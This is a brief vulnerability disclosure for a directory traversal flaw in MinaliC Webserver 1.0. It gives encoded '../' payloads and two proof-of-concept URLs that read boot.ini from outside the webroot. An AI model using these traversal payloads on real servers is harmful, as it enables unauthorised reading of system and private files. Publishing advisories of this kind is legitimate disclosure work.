25 lines
924 B
Text
Executable file
25 lines
924 B
Text
Executable file
------------------------------------------------------------------------
|
|
Software................MinaliC Webserver 1.0
|
|
Vulnerability...........Directory Traversal
|
|
Download................http://sourceforge.net/projects/minalic/
|
|
Release Date............10/24/2010
|
|
Tested On...............Windows XP
|
|
------------------------------------------------------------------------
|
|
Author..................John Leitch
|
|
Site....................http://www.johnleitch.net/
|
|
Email...................john.leitch5@gmail.com
|
|
------------------------------------------------------------------------
|
|
|
|
--Description--
|
|
A directory traversal vulnerability in MinaliC Webserver 1.0 can be
|
|
exploited to read files outside of the webroot directory.
|
|
|
|
|
|
--Exploit--
|
|
..%2f
|
|
..%5c
|
|
|
|
|
|
--PoC--
|
|
http://localhost:8080/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini
|
|
http://localhost:8080/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini
|